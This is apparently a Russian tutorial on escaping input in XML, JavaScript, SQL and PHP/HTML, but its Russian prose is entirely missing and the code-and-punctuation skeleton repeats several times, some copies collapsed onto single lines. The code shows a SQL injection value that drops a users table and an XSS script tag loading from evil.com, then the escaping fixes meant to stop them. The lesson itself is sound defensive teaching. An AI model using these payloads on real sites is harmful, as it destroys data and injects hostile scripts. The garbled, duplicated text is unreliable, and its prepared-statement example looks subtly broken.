    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

? , - ? XML - . . . , - , i . , - . <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x < n and y > n, x cannot be larger than y. </contents> </article> , . "<" "<", ">" - ">". - , , , . escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...] , , , , . , , : " , ?" . , (&) - . , "<", "<"? XML, escape- &, - " & ", .. : " &< " XML - "" . , : var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; - " " . : var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; ! ! , , , -? var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; ... , . , . . - , " ", . : var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; "\" . , -, , "\" - . , , : "\\". , ? ! , . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML . - SQL . SQL - , : SELECT phone_number FROM users WHERE name = 'Alex' , . , SQL . , : $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); , . "", , , , . , - . , , -, . , : $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , : - -! , - ! ! , - , ! ! , . $_POST['name'] - , -. SQL-, , . SQL "" . , ? , - : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' , , ? 2, , "" - '. ! 4 - . ? ... , ... , . , - : Joe, users ( '), . . , , , , , 10 . SQL-, . , , , , , .. , - "" . ! : XSS . , HTML. , , , -, . , , .. - - : <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> , , : <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> , , , , : <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> ... . , , , ? <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , ? - javascript ? , , , . . , - , , ! , "" , , . ? ? , ? , , ""? , ! , . - : $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , "" . SQL-, : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' mysql_real_escape_string , - . , : <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> htmlspecialchars , , . : <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , , "". HTML . ... , : , , . SQL, SQL. HTML, HTML. ( ), ( ). . , , , : Validation , . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization "" , . , - HTML-, . , . Prepared SQL statements , , : SQL- , . : $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); , . , . , . (), , . ( ) . "" - , . , , , SQL- ( HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

? , - ? XML - . . . , - , i . , - . <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x < n and y > n, x cannot be larger than y. </contents> </article> , . "<" "<", ">" - ">". - , , , . escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...] , , , , . , , : " , ?" . , (&) - . , "<", "<"? XML, escape- &, - " & ", .. : " &< " XML - "" . , : var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; - " " . : var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; ! ! , , , -? var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; ... , . , . . - , " ", . : var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; "\" . , -, , "\" - . , , : "\\". , ? ! , . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML . - SQL . SQL - , : SELECT phone_number FROM users WHERE name = 'Alex' , . , SQL . , : $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); , . "", , , , . , - . , , -, . , : $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , : - -! , - ! ! , - , ! ! , . $_POST['name'] - , -. SQL-, , . SQL "" . , ? , - : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' , , ? 2, , "" - '. ! 4 - . ? ... , ... , . , - : Joe, users ( '), . . , , , , , 10 . SQL-, . , , , , , .. , - "" . ! : XSS . , HTML. , , , -, . , , .. - - : <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> , , : <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> , , , , : <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> ... . , , , ? <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , ? - javascript ? , , , . . , - , , ! , "" , , . ? ? , ? , , ""? , ! , . - : $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , "" . SQL-, : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' mysql_real_escape_string , - . , : <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> htmlspecialchars , , . : <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , , "". HTML . ... , : , , . SQL, SQL. HTML, HTML. ( ), ( ). . , , , : Validation , . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization "" , . , - HTML-, . , . Prepared SQL statements , , : SQL- , . : $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); , . , . , . (), , . ( ) . "" - , . , , , SQL- ( HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

? , - ? XML - . . . , - , i . , - . <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x < n and y > n, x cannot be larger than y. </contents> </article> , . "<" "<", ">" - ">". - , , , . escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...] , , , , . , , : " , ?" . , (&) - . , "<", "<"? XML, escape- &, - " & ", .. : " &< " XML - "" . , : var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; - " " . : var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; ! ! , , , -? var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; ... , . , . . - , " ", . : var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; "\" . , -, , "\" - . , , : "\\". , ? ! , . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML . - SQL . SQL - , : SELECT phone_number FROM users WHERE name = 'Alex' , . , SQL . , : $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); , . "", , , , . , - . , , -, . , : $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , : - -! , - ! ! , - , ! ! , . $_POST['name'] - , -. SQL-, , . SQL "" . , ? , - : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' , , ? 2, , "" - '. ! 4 - . ? ... , ... , . , - : Joe, users ( '), . . , , , , , 10 . SQL-, . , , , , , .. , - "" . ! : XSS . , HTML. , , , -, . , , .. - - : <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> , , : <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> , , , , : <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> ... . , , , ? <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , ? - javascript ? , , , . . , - , , ! , "" , , . ? ? , ? , , ""? , ! , . - : $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , "" . SQL-, : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' mysql_real_escape_string , - . , : <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> htmlspecialchars , , . : <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , , "". HTML . ... , : , , . SQL, SQL. HTML, HTML. ( ), ( ). . , , , : Validation , . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization "" , . , - HTML-, . , . Prepared SQL statements , , : SQL- , . : $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); , . , . , . (), , . ( ) . "" - , . , , , SQL- ( HTML).
